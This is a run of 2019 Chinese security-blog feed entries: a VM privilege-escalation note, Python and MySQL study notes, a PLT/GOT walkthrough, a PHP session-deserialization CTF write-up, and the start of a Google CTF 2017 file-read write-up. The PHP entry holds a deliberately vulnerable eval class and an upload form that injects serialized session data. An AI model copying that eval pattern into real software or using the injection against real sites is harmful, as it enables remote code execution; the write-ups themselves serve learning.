&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;补充提权的过程：&lt;br /&gt;
在&lt;code&gt;/etc/doas.conf&lt;/code&gt;文件中有这些内容&lt;br /&gt;
所以可以用&lt;code&gt;doas&lt;/code&gt;命令查看&lt;code&gt;authlod&lt;/code&gt;文件&lt;br /&gt;
同时，通过编辑它，进入了shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/iZC9p7A.png&quot; alt=&quot;doas&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;参考&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://www.freebuf.com/articles/web/194783.html&quot;&gt;FourAndSix2.01靶机渗透&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>python文档阅读笔记1</title><link>https://rayepeng.net/posts/python%E6%96%87%E6%A1%A3%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B01/</link><guid isPermaLink="true">https://rayepeng.net/posts/python%E6%96%87%E6%A1%A3%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B01/</guid><pubDate>Wed, 24 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;python 官方文档阅读&lt;/h1&gt;
&lt;p&gt;python可视化编程&lt;a href=&quot;http://www.pythontutor.com/visualize.html#mode=edit&quot;&gt;网站&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;循环&lt;/h2&gt;
&lt;h3&gt;循环的问题&lt;/h3&gt;
&lt;p&gt;list类型是可变序列&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;words = [&apos;cat&apos;, &apos;window&apos;, &apos;defenestrate&apos;]
for w in words[:]:
    if len(w) &amp;gt; 6:
        words.insert(0, w)
print(words)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果将上述代码的循环语句改为：&lt;br /&gt;
&lt;code&gt;for w in words:&lt;/code&gt;&lt;br /&gt;
那么这个循环就变成了死循环&lt;br /&gt;
原因是words这个&lt;code&gt;list&lt;/code&gt;会被修改&lt;/p&gt;
&lt;p&gt;同样的可以看这个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;basket = [&apos;apple&apos;, &apos;orange&apos;, &apos;pear&apos;, &apos;orange&apos;, &apos;banana&apos;]
for f in sorted(basket):
    print(f)

print(basket)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在经过&lt;code&gt;sorted&lt;/code&gt;函数之后，basket已经被修改了&lt;/p&gt;
&lt;p&gt;可以看这个：&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe width=&quot;800&quot; height=&quot;500&quot; frameborder=&quot;0&quot; src=&quot;http://pythontutor.com/iframe-embed.html#code=basket%20%3D%20%5B&apos;apple&apos;,%20&apos;orange&apos;,%20&apos;pear&apos;,%20&apos;orange&apos;,%20&apos;banana&apos;%5D%0Afor%20f%20in%20sorted%28basket%29%3A%0A%20%20%20%20print%28f%29%0A&amp;amp;codeDivHeight=400&amp;amp;codeDivWidth=350&amp;amp;cumulative=false&amp;amp;curInstr=5&amp;amp;heapPrimitives=nevernest&amp;amp;origin=opt-frontend.js&amp;amp;py=3&amp;amp;rawInputLstJSON=%5B%5D&amp;amp;textReferences=false&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;p&gt;同样的list还有这样一个问题：&lt;/p&gt;
&lt;p&gt;代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def f(a, L=[]):
    L.append(a)
    return L

print(f(1))
print(f(2))
print(f(3))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;iframe width=&quot;800&quot; height=&quot;500&quot; frameborder=&quot;0&quot; src=&quot;http://pythontutor.com/iframe-embed.html#code=def%20f%28a,%20L%3D%5B%5D%29%3A%0A%20%20%20%20L.append%28a%29%0A%20%20%20%20return%20L%0A%0Aprint%28f%281%29%29%0Aprint%28f%282%29%29%0Aprint%28f%283%29%29&amp;amp;codeDivHeight=400&amp;amp;codeDivWidth=350&amp;amp;cumulative=false&amp;amp;curInstr=15&amp;amp;heapPrimitives=nevernest&amp;amp;origin=opt-frontend.js&amp;amp;py=3&amp;amp;rawInputLstJSON=%5B%5D&amp;amp;textReferences=false&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;p&gt;修改成这样就行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def f(a, L = None):
    if L is None:
        L = []
    L.append(a)
    return L
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;循环的tricks&lt;/h3&gt;
&lt;p&gt;dict循环&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;knights = {&apos;gallahad&apos;:&apos;the pure&apos;, &apos;robin&apos;:&apos;the brave&apos;}
for key, value in knights.items():
    print(key, value)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;list循环&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for index, value in enumerate([&apos;tac&apos;, &apos;tic&apos;, &apos;toe&apos;]):
    print(&quot;index = {}, value = {}&quot;.format(index, value))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两个list循环&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;questions = [&apos;name&apos;, &apos;quest&apos;, &apos;favorite color&apos;]
answers = [&apos;lancelot&apos;, &apos;the holy grail&apos;, &apos;blue&apos;]

for q,a in zip(questions, answers):
    print(&quot;what is your {}? It is {}&quot;.format(q, a))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;逆向循环&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 逆向循环序列时，先正向，再调用reverse()函数
for i in reversed(range(1, 10, 2)):
    print(i)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;指定顺序循环，用&lt;code&gt;sorted&lt;/code&gt;函数&lt;/p&gt;
&lt;h3&gt;参数的传递&lt;/h3&gt;
&lt;p&gt;之前还一直没明白python中&lt;code&gt;**param&lt;/code&gt;这种传递形式的用法&lt;br /&gt;
这个栗子就很棒啦&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def cheeseshop(kind, *arguments, **keywords):
    print(&quot;-- Do you have any&quot;, kind, &quot;?&quot;)
    print(&quot;-- I&apos;m sorry, we&apos;re all out of&quot;, kind)
    for arg in arguments:
        print(arg)
    print(&quot;-&quot; * 40)
    for kw in keywords:
        print(kw, &quot;:&quot;, keywords[kw])
cheeseshop(&quot;Limburger&quot;, &quot;It&apos;s very runny, sir.&quot;,
           &quot;It&apos;s really very, VERY runny, sir.&quot;,shopkeeper=&quot;Michael Palin&quot;,
           client=&quot;John Cleese&quot;,
           sketch=&quot;Cheese Shop Sketch&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- Do you have any Limburger ?
-- I&apos;m sorry, we&apos;re all out of Limburger
It&apos;s very runny, sir.
It&apos;s really very, VERY runny, sir.
----------------------------------------
shopkeeper : Michael Palin
sketch : Cheese Shop Sketch
client : John Cleese
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一个kind参数就是第一个字符串，之后&lt;code&gt;arguments&lt;/code&gt;相当于一个接收了一个list，keywords接收了一个dict&lt;/p&gt;
&lt;h4&gt;解包参数列表&lt;/h4&gt;
&lt;p&gt;比如这个栗子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;args = [3,6]
list(range(*args))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出的结果就是&lt;br /&gt;
[3,4,5]&lt;/p&gt;
&lt;p&gt;也就是说我们可以通过&lt;code&gt;*&lt;/code&gt;运算符来对一个list进行解包并将其作为参数传递&lt;/p&gt;
&lt;h4&gt;匿名函数lambda&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;pairs = [(1, &apos;one&apos;), (2, &apos;two&apos;), (3, &apos;three&apos;), (4, &apos;four&apos;)]
pairs.sort(key=lambda  pair:pair[1])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sort方法有两个参数，一个是指定待排序的关键字，一个是reversed，其中key用一个匿名函数进行指定，有一点函数式编程的味道&lt;/p&gt;
</content:encoded></item><item><title>聊聊plt与got</title><link>https://rayepeng.net/posts/%E8%81%8A%E8%81%8Aplt%E4%B8%8Egot/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E8%81%8A%E8%81%8Aplt%E4%B8%8Egot/</guid><pubDate>Wed, 24 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;深入理解plt和got&lt;/h1&gt;
&lt;p&gt;先写一段代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Build with: gcc -m32 --no-pie -g -o plt plt.c

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main(int argc, char **argv) {
  puts(&quot;Hello world!&quot;);
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;途中遇到了一个报错：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;In file included from /usr/include/stdio.h:27:0,
                 from plt.c:3:
/usr/include/features.h:374:25: fatal error: sys/cdefs.h: No such file or directory
 #  include &amp;lt;sys/cdefs.h&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后安装一个:&lt;br /&gt;
&lt;code&gt;apt install libc6-dev-i386&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;编译好程序之后&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ checksec plt     
[*] &apos;/home/pxy/pwnable/plt&apos;
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序是没有pie的&lt;/p&gt;
&lt;p&gt;&lt;code&gt;readelf -S plt&lt;/code&gt;查看节表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
[12] .plt              PROGBITS        08048300 000300 000050 04  AX  0   0 16
[13] .text             PROGBITS        08048350 000350 000192 00  AX  0   0 16
[22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
[23] .got.plt          PROGBITS        0804a000 001000 00001c 04  WA  0   0  4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;.plt 基地址为： &lt;code&gt;0x08048300&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;.got 基地址为： &lt;code&gt;0x08049ffc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;.got.plt 基地址为： &lt;code&gt;0x0x804a000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们从调用puts函数那里开始单步执行&lt;/p&gt;
&lt;p&gt;首先跳转到plt表中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x804845d &amp;lt;main+16&amp;gt;               call   puts@plt &amp;lt;0x8048310&amp;gt;
0x8048310  &amp;lt;puts@plt&amp;gt;                  jmp    dword ptr [puts@got.plt] &amp;lt;0x804a00c&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;call puts之后，下一条指令也是一个跳转&lt;/p&gt;
&lt;p&gt;&lt;code&gt;jmp dword ptr [puts@got.plt] &amp;lt;0x804a00c&amp;gt;&lt;/code&gt;&lt;br /&gt;
这条指令的意思是取出&lt;code&gt;puts@got.plt&lt;/code&gt;表中的值，放到pc寄存器中&lt;/p&gt;
&lt;p&gt;所以？查看一下此处内存的值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/2x 0x804a00c
0x804a00c &amp;lt;puts@got.plt&amp;gt;:	0x08048316	0x08048326
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以下一条指令的地址就是&lt;code&gt;0x08048316&lt;/code&gt;还是在plt表中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;► 0x8048316  &amp;lt;puts@plt+6&amp;gt;                push   0
  0x804831b  &amp;lt;puts@plt+11&amp;gt;               jmp    0x8048300
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里先将0放到栈上，表明是要解析puts函数的地址，然后再跳转到&lt;code&gt;0x8048300&lt;/code&gt;也就是plt表的开始部分&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;► 0x8048300                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] &amp;lt;0x804a004&amp;gt;
  0x8048306                              jmp    dword ptr [0x804a008] &amp;lt;0xf7ff0650&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时候先把.got.plt表中的第二项放到栈上&lt;br /&gt;
先查看一下.got.plt中前三项的内容:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/3x 0x804a000
0x804a000:	0x08049f14	0xf7ffd938	0xf7ff0650
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将&lt;code&gt;0xf7ffd938&lt;/code&gt;放置到栈上，然后跳转到.got.plt中的第三项，也就是&lt;br /&gt;
&lt;code&gt;0xf7ff0650&lt;/code&gt;，这个地址就是&lt;code&gt;_dl_runtime_resolve&lt;/code&gt;函数的地址&lt;br /&gt;
负责解析函数的地址&lt;/p&gt;
&lt;p&gt;此时我们的got表内容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; got

GOT protection: Partial RELRO | GOT functions: 4

[0x804a00c] puts -&amp;gt; 0x8048316 (puts@plt+6) ◂— push   0 /* &apos;h&apos; */
[0x804a010] __gmon_start__ -&amp;gt; 0x8048326 (__gmon_start__@plt+6) ◂— push   8
[0x804a014] exit -&amp;gt; 0x8048336 (exit@plt+6) ◂— push   0x10
[0x804a018] __libc_start_main -&amp;gt; 0xf7e26a00 (__libc_start_main) ◂— push   ebp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;puts函数的地址还没有重定位&lt;/p&gt;
&lt;p&gt;当我们执行过一遍puts函数之后&lt;br /&gt;
这时候回过头来继续查看got表中的内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; got

GOT protection: Partial RELRO | GOT functions: 4

[0x804a00c] puts -&amp;gt; 0xf7e727e0 (puts) ◂— push   ebp
[0x804a010] __gmon_start__ -&amp;gt; 0x8048326 (__gmon_start__@plt+6) ◂— push   8
[0x804a014] exit -&amp;gt; 0x8048336 (exit@plt+6) ◂— push   0x10
[0x804a018] __libc_start_main -&amp;gt; 0xf7e26a00 (__libc_start_main) ◂— push   ebp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到地址已经重定位好了&lt;/p&gt;
&lt;p&gt;这和Windows的PE文件格式似乎有点不同了，PE文件是装载进内存之后函数地址都已经重定位好了，而Linux的elf文件刚刚装进内存之后函数的地址还是不确定的，需要在运行的时候进行重定位。&lt;/p&gt;
&lt;p&gt;当我们将代码修改为如下时：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; l 1, 20
// Build with: gcc -m32 -no-pie -g -o plt plt.c

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main(int argc, char **argv) {
  puts(&quot;Hello world!&quot;);
  puts(&quot;hello world again !!!&quot;);
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一次调用&lt;code&gt;puts&lt;/code&gt;函数之后：&lt;br /&gt;
&lt;code&gt;[0x804a00c] puts -&amp;gt; 0xf7e727e0 (puts) ◂— push ebp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;puts函数地址已经重定位好了&lt;/p&gt;
&lt;p&gt;接下来再次调用puts函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;► 0x8048310  &amp;lt;puts@plt&amp;gt;    jmp    dword ptr [0x804a00c] &amp;lt;0xf7e727e0&amp;gt;
   ↓
  0xf7e727e0 &amp;lt;puts&amp;gt;        push   ebp
  0xf7e727e1 &amp;lt;puts+1&amp;gt;      push   edi
  0xf7e727e2 &amp;lt;puts+2&amp;gt;      push   esi
  0xf7e727e3 &amp;lt;puts+3&amp;gt;      push   ebx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时可以看到直接就跳到函数的地址了&lt;br /&gt;
因为此时的.got.plt已经是puts函数的地址了， Linux tql&lt;/p&gt;
&lt;h1&gt;整理一下&lt;/h1&gt;
&lt;p&gt;之前看参考资料中博主的文章一直没有很理解，这里直接统一说一下我的理解：&lt;/p&gt;
&lt;h2&gt;何谓PLT与GOT&lt;/h2&gt;
&lt;p&gt;其实这里准确的来说应该叫got.plt而不是叫got，不过为了方便我们还是叫它got表吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/got0_bmqvjb601.jpg&quot; alt=&quot;got&quot; /&gt;&lt;br /&gt;
要注意那个&lt;code&gt;jmp *printf@got&lt;/code&gt; *号是取出地址处的值，并不是跳到got表中去&lt;/p&gt;
&lt;h2&gt;延迟重定位&lt;/h2&gt;
&lt;p&gt;这篇文章我觉得写的很精彩&lt;/p&gt;
&lt;p&gt;Linux为了缩减代码,就是按照这种模式来的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void printf@plt()
{
address_good:
    jmp *printf@got            // 链接器将printf@got填成下一语句lookup_printf的地址

lookup_printf:
        调用重定位函数查找printf地址，并写到printf@got

        goto address_good;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就和上面那张图是一一对应的&lt;/p&gt;
&lt;h2&gt;公共got表项&lt;/h2&gt;
&lt;p&gt;在解析函数的真正地址时， &lt;code&gt;_dl_runtime_resolve&lt;/code&gt;是怎么知道它要解析哪个函数的&lt;/p&gt;
&lt;p&gt;因为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;printf@plt&amp;gt;:
   jmp *0x80496f8
   push $0x00
   jmp common@plt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里push的值不一样，相当于就是每个函数取了一个id&lt;/p&gt;
&lt;p&gt;之后就是公共got表的内容：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;got[0]: 本ELF动态段(.dynamic段）的装载地址&lt;/li&gt;
&lt;li&gt;got[1]：本ELF的link_map数据结构描述符地址&lt;/li&gt;
&lt;li&gt;got[2]：_dl_runtime_resolve函数的地址&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;穿针引线&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/got1_8tzb6jmh9&quot; alt=&quot;got&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PLT表中的第一项为公共表项，剩下的是每个动态库函数为一项（当然每项是由多条指令组成的，jmp *0xXXXXXXXX这条指令是所有plt的开始指令）每项PLT都从对应的GOT表项中读取目标函数地址&lt;/p&gt;
&lt;p&gt;GOT表中前3个为特殊项，分别用于保存 .dynamic段地址、本镜像的link_map数据结构地址和_dl_runtime_resolve函数地址；但在编译时，无法获取知道link_map地址和_dl_runtime_resolve函数地址，所以编译时填零地址，进程启动时由动态链接器进行填充&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;参考&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/linyt/article/details/51635768?from=singlemessage&quot;&gt;聊聊Linux动态链接中的PLT和GOT（１）——何谓PLT与GOT&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blog.csdn.net/linyt/article/details/51636753&quot;&gt;聊聊Linux动态链接中的PLT和GOT（２）——延迟重定位&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blog.csdn.net/linyt/article/details/51637832&quot;&gt;聊聊Linux动态链接中的PLT和GOT（３）——公共GOT表项&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blog.csdn.net/linyt/article/details/51893258&quot;&gt;聊聊Linux动态链接中的PLT和GOT（4）—— 穿针引线&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html&quot;&gt;GOT and PLT for pwning.&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>php-challenge9</title><link>https://rayepeng.net/posts/php-challenge9/</link><guid isPermaLink="true">https://rayepeng.net/posts/php-challenge9/</guid><pubDate>Mon, 22 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;php-challenge 9&lt;/h1&gt;
&lt;p&gt;第一次接触到这个题目，被惊呆了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//A webshell is wait for you
ini_set(&apos;session.serialize_handler&apos;, &apos;php&apos;);
session_start();
class OowoO
{
   public $mdzz;
   function __construct()
   {
	   $this-&amp;gt;mdzz = &apos;phpinfo();&apos;;
   }
   function __destruct()
   {
	   eval($this-&amp;gt;mdzz);
   }
}
if(isset($_GET[&apos;phpinfo&apos;]))
{
   $m = new OowoO();
}
else
{
   highlight_string(file_get_contents(&apos;index.php&apos;));
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初看源代码觉得并没有哪里可以让我反序列化注入的地方&lt;br /&gt;
但是问题就出在第一句话：&lt;br /&gt;
&lt;code&gt;ini_set(&apos;session.serialize_handler&apos;, &apos;php&apos;);&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;关键点在于，如果脚本中设置的序列化处理器与php.ini设置的不同，或者两个脚本注册session使用的序列化处理器不同，那么就会出现安全问题。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;只需要加一个&lt;code&gt;|&lt;/code&gt;就行&lt;/p&gt;
&lt;p&gt;这道&lt;code&gt;jarvisOj&lt;/code&gt;&lt;a href=&quot;http://web.jarvisoj.com:32784/index.php&quot;&gt;题目&lt;/a&gt;就是这个原题&lt;br /&gt;
这里还用到了另外一个漏洞：&lt;/p&gt;
&lt;p&gt;自己构造一个网页如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;http://web.jarvisoj.com:32784/index.php&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
    &amp;lt;input type=&quot;hidden&quot; name=&quot;PHP_SESSION_UPLOAD_PROGRESS&quot; value=&quot;123&quot; /&amp;gt;
    &amp;lt;input type=&quot;file&quot; name=&quot;file&quot; /&amp;gt;
    &amp;lt;input type=&quot;submit&quot; /&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在上传一个文件，本地抓包，这里遇到了一点小问题，就是没办法抓到本地的包，可以通过直接对局域网的网络连接进行设置即可.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/flag1_rw5qoyd8a.png&quot; alt=&quot;flag1&quot; /&gt;&lt;br /&gt;
此时就可以看到了&lt;/p&gt;
&lt;p&gt;接下来继续利用&lt;br /&gt;
&lt;img src=&quot;./attachments/flag2_5a75jqie7.png&quot; alt=&quot;flag2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;tql。。。&lt;br /&gt;
&lt;a href=&quot;http://www.91ri.org/15925.html&quot;&gt;有趣的php反序列化总结&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blog.szfszf.top/tech/code-audit-challenge-%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1%e7%bb%83%e4%b9%a0%e7%ac%94%e8%ae%b0/#challenge9&quot;&gt;szfszf&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://chybeta.github.io/2017/07/05/jarvisoj-web-writeup/#PHPINFO&quot;&gt;jarvisoj-web-writeup&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>探寻数据库</title><link>https://rayepeng.net/posts/%E6%8E%A2%E5%AF%BB%E6%95%B0%E6%8D%AE%E5%BA%93/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%8E%A2%E5%AF%BB%E6%95%B0%E6%8D%AE%E5%BA%93/</guid><pubDate>Mon, 22 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;mysql命令行操作小结&lt;/h1&gt;
&lt;p&gt;感觉这些知识又快忘记了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;登陆 &lt;code&gt;mysql -u root -p&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;创建数据库 &lt;code&gt;create database databasename&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;删除数据库 &lt;code&gt;drop database databasename&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;从外部sql文件导入，如果sql文件中没有创建数据库需要先指定一个数据库然后&lt;code&gt;source path/*.sql&lt;/code&gt;就可以导入了，再也不用受烦人的&lt;code&gt;phpmyadmin&lt;/code&gt;影响了&lt;/li&gt;
&lt;li&gt;删除数据表&lt;code&gt;drop table table_name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;导出表&lt;code&gt;mysqldump -u root -p RUNOOB runoob_tbl &amp;gt; dump.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;导出数据库&lt;code&gt;mysqldump -u root -p RUNOOB &amp;gt; database_dump.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;备份所有数据库&lt;code&gt;mysqldump -u root -p --all-databases &amp;gt; database_dump.txt&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一般&lt;code&gt;sql&lt;/code&gt;文件的写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;drop database if exists DBName;
creat database DBName;
use DBName;

#开始创建表
create ......

#开始插入数据
insert....
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;使用&lt;code&gt;pymysql&lt;/code&gt;连接数据库&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;
con = pymysql.connect(&apos;localhost&apos;, &apos;root&apos;, &apos;&apos;, &apos;mpsa&apos;)
try:
    with con.cursor() as cursor:
        sql = &apos;drop database runoob&apos;
        cursor.execute(sql)

    con.commit()

finally:
    con.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那个&lt;code&gt;cursor&lt;/code&gt;函数我也不是很明白为什么，不过一般的用法就是这样啦&lt;/p&gt;
&lt;h2&gt;php连接数据库&lt;/h2&gt;
&lt;p&gt;使用php连接数据库,创建数据库，然后删除&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if(!$conn){
    die(&quot;error!!&quot;);
}
echo &quot;连接成功&quot;;
//查询数据
$sql = &quot;create database runoob&quot;;
$retval = mysqli_query($conn, $sql);
if(!$retval){
    die(&quot;查询数据失败！&quot;);
}
echo &quot;创建成功&quot;;
$sql1 = &quot;drop database runoob&quot;;
$retval = mysqli_query($conn, $sql);
mysqli_close($conn);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;遇到了问题：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/IcnNipt.png&quot; alt=&quot;php6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查了一下&lt;code&gt;stackoverflow&lt;/code&gt;&lt;br /&gt;
看到了这个回答：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The mysqli-&amp;gt;connect_error property only works properly as of PHP versions 5.2.9 and 5.3.0. Use the mysqli_connect_error() function if compatibility with earlier PHP versions is required.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$mysqli = new mysqli(&apos;localhost&apos;, &apos;my_user&apos;, &apos;my_password&apos;, &apos;my_db&apos;);

/*
 * This is the &quot;official&quot; OO way to do it,
 * BUT $connect_error was broken until PHP 5.2.9 and 5.3.0.
 */
if ($mysqli-&amp;gt;connect_error) {
    die(&apos;Connect Error (&apos; . $mysqli-&amp;gt;connect_errno . &apos;) &apos;
            . $mysqli-&amp;gt;connect_error);
}

/*
 * Use this instead of $connect_error if you need to ensure
 * compatibility with PHP versions prior to 5.2.9 and 5.3.0.
 */
if (mysqli_connect_error()) {
    die(&apos;Connect Error (&apos; . mysqli_connect_errno() . &apos;) &apos;
            . mysqli_connect_error());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原来是建立过程中的不稳定，怪不得我新建的数据库没有被删掉.&lt;/p&gt;
&lt;h1&gt;参考&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/18831863/property-access-is-not-allowed-yet-warning-when-using-prepared-statement&quot;&gt;stackoverflow的回答&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://pymysql.readthedocs.io/en/latest/user/development.html&quot;&gt;pymysql文档，写的很简单&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Google ctf2017</title><link>https://rayepeng.net/posts/google-ctf2017/</link><guid isPermaLink="true">https://rayepeng.net/posts/google-ctf2017/</guid><pubDate>Sun, 21 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;有时候看看国外的ctf比赛的wp还是挺好的&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://ctftime.org/event/455/tasks/&quot;&gt;wp&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;Mindreder&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/google1.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
可以通过f参数直接读取到想读的文件&lt;/p&gt;
&lt;p&gt;那么如何确定flag的位置？&lt;/p&gt;
&lt;p&gt;既然可以读文件，那么第一步的想法就是读源码&lt;/p&gt;
